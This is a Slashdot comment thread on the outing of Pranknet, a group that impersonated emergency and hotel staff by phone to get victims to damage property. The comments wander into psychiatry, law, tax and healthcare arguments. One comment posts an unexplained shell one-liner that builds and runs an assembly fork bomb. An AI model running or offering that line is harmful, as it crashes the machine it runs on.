Slashdot Mirror
The Outing of Pranknet
An anonymous reader writes "The Smoking Gun recently published a story on their investigation and outing of Pranknet, an online cabal that aims to take pranks to the next level. Their legacy includes thousands of dollars of damage, and many harassed souls. Many of the pranks have clear criminal implications. Reading their report may send chills down your collective spines." From the linked article: "Coalescing in an online chat room, members of the group, known as Pranknet, use the telephone to carry out cruel and outrageous hoaxes, which they broadcast live around-the-clock on the Internet. Masquerading as hotel employees, emergency service workers, and representatives of fire alarm companies, 'Dex' and his cohorts have successfully prodded unwitting victims to destroy hotel rooms and lobbies, set off sprinkler systems, activate fire alarms, and damage assorted fast food restaurants. But while Pranknet's hoaxes have caused millions of dollars in damages, it is the group's efforts to degrade and frighten targets that makes it even more odious ..."
Eh I wouldn't say sociopathic. When /i/nsurgents raid something they do it because they're anonymous and they're invincible and they can do whatever they want without consequences- so they do.
Doing something for no other reason than because you can, without regard for the consequences, ethical implications etc., is pretty much the definition of sociopathic.
Perhaps those receiving the prank calls should use some critical thinking before they obey those claiming to be authority and have their best interests in mind. Still, lying to someone and then laughing when they believe you is painfully juvenile
Technically speaking, he's most likely a sociopath, a psychopath isn't likely to be still living with his parents. Psychopaths are driven to the point of ignoring the needs and wants of other people to get what they want. Sociopaths are largely similar, but far less organized and far more likely to be capable of interacting with others, providing that they have similar interests. But both are worth considering as dangerous and keeping an eye on.
Luckily now he's just going to go to jail for some relatively minor stuff.
Thus far no one seems interested in prosecuting. The article itself implied it due to the complications of dealing with another country. The people involved in the outing had an interview on CTV:
The Smoking Gun says it has turned over the information it has uncovered to the FBI, but no charges have been laid against any PrankNET member. While local police have investigated each prank, the FBI and the RCMP have not confirmed whether a cross-border investigation is underway.
Beetle B.
authority, should never, ever, be given the benefit of the doubt just because its labeled as "authority". Such blind trust has caused so much damage throughout the history of human kind its terrifying.
read: http://en.wikipedia.org/wiki/Milgram_experiment
Seems like one of the Pranknet guys (Markle) was jailed for two years for raping a five-year-old. He "warned the girl that he would kill her parents if she did not comply with him".
The people who impose such limits invariably exempt themselves.
Now where have we ever seen that before? Surely our system is better than that, right?
"Also, a check of Pistol License records shows that Senator Schumer possesses an "unrestricted" pistol permit, a rarity in New York City. Licenses are distributed in different categories in the Big Apple: Target Permits allow only use of a firearm at a licensed firing range; Premises Permits allow weapons to be kept in a home or apartment; Restricted Permits allow the gunowner to carry their firearms concealed but only within the purview of their job (security, jewelers, armored car guards, etc.). So it's evident that Senator Schumer has two sets of rules -- one for Americans and one for himself."
All animals are equal but some are more equal than others......
The free market sees taxation as damage and routes around it.
Best sig ever :)
I want peace on earth and goodwill toward man.
We are the United States Government! We don't do that sort of thing.
The Criminal Code of Canada states (emphasis mine):
22. (1) Where a person counsels another person to be a party to an offence and that other person is afterwards a party to that offence, the person who counselled is a party to that offence, notwithstanding that the offence was committed in a way different from that which was counselled.
(2) Every one who counsels another person to be a party to an offence is a party to every offence that the other commits in consequence of the counselling that the person who counselled knew or ought to have known was likely to be committed in consequence of the counselling.
(3) For the purposes of this Act, "counsel" includes procure, solicit or incite. [R.S., c.C-34, s.22; R.S.C. 1985, c.27 (1st Supp.), s.7(1).]
Given that Malik and at least one other pranknetter are Canadians, I bet that would apply nicely.
---
"I can't complain, but sometimes still do..." Joe Walsh
Technically speaking, nobody seems to be able to agree on what if any difference there is between "psychopath" and "sociopath". I've heard a million and one different 'correct' distinctions between the two. The most common distinction seems to be that "psychopath" applies to people for which the condition is biological in origin, and "sociopath" for ones for which it is sociological in origin. Even that doesn't seem to be common enough to say it's the 'correct' distinction. And I've certainly never heard the sort of distinction you're claiming.
To make the terminology even more fun and exciting, there's also antisocial personality disorder from the DSM and dissocial personality disorder from the ICD, which largely overlap with each other and psychopathy/sociopathy.
(IANAP, but I play one on the Internet)
Actually sociopath and psychopath are exactly the same. The only difference is, traditionally, people who think you are born a sociopath use the term psychopath and people who think you are made into a psychopath use the term sociopath. The symptoms and behaviors are identical with the only difference being the assumed cause.
I would also like to note that the captcha for this post was "pervert". How funny.
Should I have demanded an ID from them, and called the police and fire departments to verify their identities?
1) yes always ask for proper ID from cops/fire department, don't they teach everyone this when your like 5 years old?
2) if they were directing you to do something you knew to be dangerous, hell yes verify their ID with the police department, asking you to walk down a different street (assuming its a safe neighborhood) and asking you to destroy a hotel room or strip naked outside in New Hampshire in the dead of winter are slightly different kinds of requests, some require verification, some don't.
Not defending these prank guys, i don't find them entertaining in the least, but do you really think its any different than the myriad of other ways humans have exploited the idiots in our population whether it be for fun/business/profit/etc ? Why do you think they target fast food places and low end hotels? You can well bet anyone working there isn't terribly bright thus making for an easy target.
It was actually claimed to be a carbon monoxide leak, which is odorless and tasteless. Many hotel rooms have windows which cannot be opened. Still, being told to break the window (and especially the TV) certainly should raise some eyebrows. I guess once you get the victim started it's probably pretty easy to keep them going.
Well, the Government is taking 6.2% of my money for social "security", which will be bankrupt by the time I reach retirement age
Actually it's 12.4%. You have 6.2% withheld from your paycheck for Social Security (up to the Social Security wage base limit, which gets increased every year and most people's salaries never reach it, it's well over $100,000 now), but your employer also pays another 6.2% on top of it. Although the employer's so-called "contribution" does not count towards your "official" salary, this is what it costs your employer to keep you on the payroll. It's really your money, except that you never see it.
In addition, you pay 1.45% of your salary as Medicare tax, and your employer also pays another 1.45% on top of it. In the end, over 15% of your real salary gets confiscated by the government, before you even get to regular income taxes, on the promise of you supposedly getting it back later down the road, in some form or other, when you retire. So, don't you worry your little head over the money still being there when you retire.
No, the main difference is that one guy got people to break windows and throw TVs out of them and drive cars into building and and strip naked and redirects the phone numbers of businesses to his number and caused actual significant harm. The other, not so much.
Nice try there. You said "morality" in your original post, not "morality aspect" or any such thing. Subtly changing your wording to significantly change your stance and hoping nobody will notice is not a valid argument tactic. Furthermore, even your claim that the "intent" or "morality aspect" is the same is absurd. This wasn't just done for the attention (and it certainly wasn't done for money), things like his claim that he thinks he's doing a "public service" by his actions and most importantly of all, the actions themselves, demonstrate a maliciousness to this case that significantly sets it apart from a fucking comedy movie that lied to some people to make fun of them.
Oh, and nice job completely ignoring my other point, by the way. Really rounds out this incredibly well thought out and logically sound post of yours.
Small, independent online news outlet? You must be new to this planet. Say hello to the Turner Sports & Entertainment Digital Network and all their friends at TimeWarner. (Lemme guess...you also thought Adult Swim was just a couple of guys jazzin' on Williams Street.)
education is no substitute for intelligence
To say nothing of those companies, that just can't stand the idea of paying taxes like we all have to...
You just don't understand do you? If you charge a corporation taxes then the corporation is going to pass that cost along to it's customers. In the end it's still the people that wind up paying the tax. All you've done is to put a middle man between them and the government and allowed some jackass leftist to claim that he's fighting for the "little guy" when in fact it's the little guy who is paying for the new tax. He's just paying it on his automobile insurance/gasoline/grocery bill/electric bill/etc instead of paying it on his tax bill.
That isn't true in all cases. While it may work for Inelastic goods such as medicines that people absolutely need to survive and will pay almost anything for, it won't work for more elastic goods. If the government puts a huge tax on something like sugar, corporations which make sugar will need to "eat" some of the tax. You probably wouldn't pay $100 for a bag of sugar because you could easily switch to sugar substitutes. Although the corporations may pass some of the tax along to the consumers, they often won't be able to pass all of it on.
Right. Such paranoid radio elite as Treasury Secretary Timothy Geithner, and National Economic Council director Lawrence H. Summers.
God, on Slashdot people think they are experts at everything. Psychopathy and sociopathy are the same fucking thing!
What a stupid remark. The entire understood context to the phrase "yelling fire in a crowded theater" is about lying. To top it off, you state explicitly that you'll do the stupid thing, which is to behave hysterically. As if to laden the cake with idiot icing, you construct a straw argument to bolster your dumb concepts.
Fine. Do you think that we should all be allowed to yell "fire" in crowded theatres? I don't. There, rethought. The ultimate question is whether you think government is ever correct to punish people for speech. I do. If you don't, say so outright. The fire example was Holmes's (in my view, reasonable) example of a situation where obviously the government should be able to step in. The historical fact that Holmes then goes on to value the government's ease of conscripting soldiers over political speech has no bearing on the basic principle that speech can cause harm, which government may be right to punish.
Incidentally, whether "the most famous use of a principle is blatant abuse thereof" is a far less useful indicator of a law's desirability than you seem to think. Controversy attracts attention, not to mention court cases, while regular usage of a law is ignored. Additionally, you'll find that there are many famous examples of people whom the courts have decided were completely protected. I direct you, most colorfully, to Paul Cohen, who walked into a courthouse with a jacket bearing the words "Fuck the Draft". If that's protected, what exactly is it that you'd like to do that isn't?
Bobb9000 - raised by the wolves,
Oxford education as phrased by the wolves.
This reminds me of the following self-videotaped paintball drive-by attack "pranks" for which the perpetrators were rightfully given jail sentences and in some cases mandatory psychiatric treatment:
3 Teens (Anthony Skoblar, Javier Perez and Malcolm Boyd) Face Prison in Paintball Attacks committed in 1996(some of you might remember watching this on TV as it got a lot of coverage)
The Anchorage paintball attacks committed in 2001 by Charles Deane Wiseman and two juveniles whose names were not released
"WTF? Yes, all rich people hate community... When I asked him why he was doing it he just laughed in my face and muttered something about "community sucks" before throwing the armani jacket back on, hopping in his BMW and driving off like a bat out of hell. "
Yep, that's pretty much word for word what Margaret Thatcher said in 1987:
"And, you know, there's no such thing as society. There are individual men and women and there are families. And no government can do anything except through people, and people must look after themselves first. It is our duty to look after ourselves and then, also, to look after our neighbours."
Set the soup kitchens on fire? Hardly, dahling. Far too much effort. So much cheaper to just de-fund them.
It's their own fault they're poor, you know.
"I really thought we had moved beyond this class warfare nonsense a long time ago."
Not until the rich stop making war on the poor, no, we haven't "moved beyond" the class war.
You are not a brain: http://books.google.com/books?id=2oV61CeDx-YC
I would love for The Smoking Gun or maybe someone who lives in the area to find the unsecured wi-fi connections and help those folks secure it. I get the impression that without those connections the loser would have no internet.
Well Ashkenazi Jews famously have a higher than average IQ. Of the Nazi leadership, only Goebbels and Speer had a decent education. Speer possibly tried to gas Hitler's bunker and certainly sabotaged the Nazi scorched earth policy.
Relativity and quantum mechanics were denounced as "Jewish science" and even non Jewish academics were fired and replaced by political placemen. Most of the support for the Nazis came from the ill educated.
Stalin killed kulaks - anyone who wasn't dirt poor. Pol Pot and Mao (neither of whom was educated) bragged about how many intellectuals they killed and peasants they promoted. All regimes burned books, persecuted authors and sacked academics for political reasons so it wouldn't surprise me if they were unpopular with intellectuals.
In many ways it's abusive management writ large - loyalty is more important than talent and the smart people leave. Just like companies with poor management tend to become mediocre or fail, it's the same with countries. The big difference of course is that your boss can't kill you and you can choose to work somewhere else.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
http://www.urbandictionary.com/define.php?term=This
Come to the UK and experience the NHS - then you'll fight to the death against public healthcare.
I pay a substantial amount of tax - if I recieved a refund of the amount used to fund the NHS, I could afford very good health insurance. But instead, the government takes my money and pisses it away.
An example:
I recently moved home and have to register at a new doctors. NHS doctors only accept patients that live within a certain geographic areas, so I have no choice which doctor I register with - and you have to be registered to get anything other than a emergency appointment. When I tried to register, they tell me that I need to fill in a form and make an appointment to see a nurse who will process my registration.
Then they tell me that such appointments are only available Wednesday and Thursday between 2pm and 3pm. If the taxes of all people who were at work on Wednesday and Thursday between 2pm and 3pm disappeared, these people would suddenly be unemployed.
Stay away from state healthcare.
Lenin and Stalin was also enamored with Lysenko.
Lenin had nothing to do with Lysenko. Lysenko came around several years after Lenin died.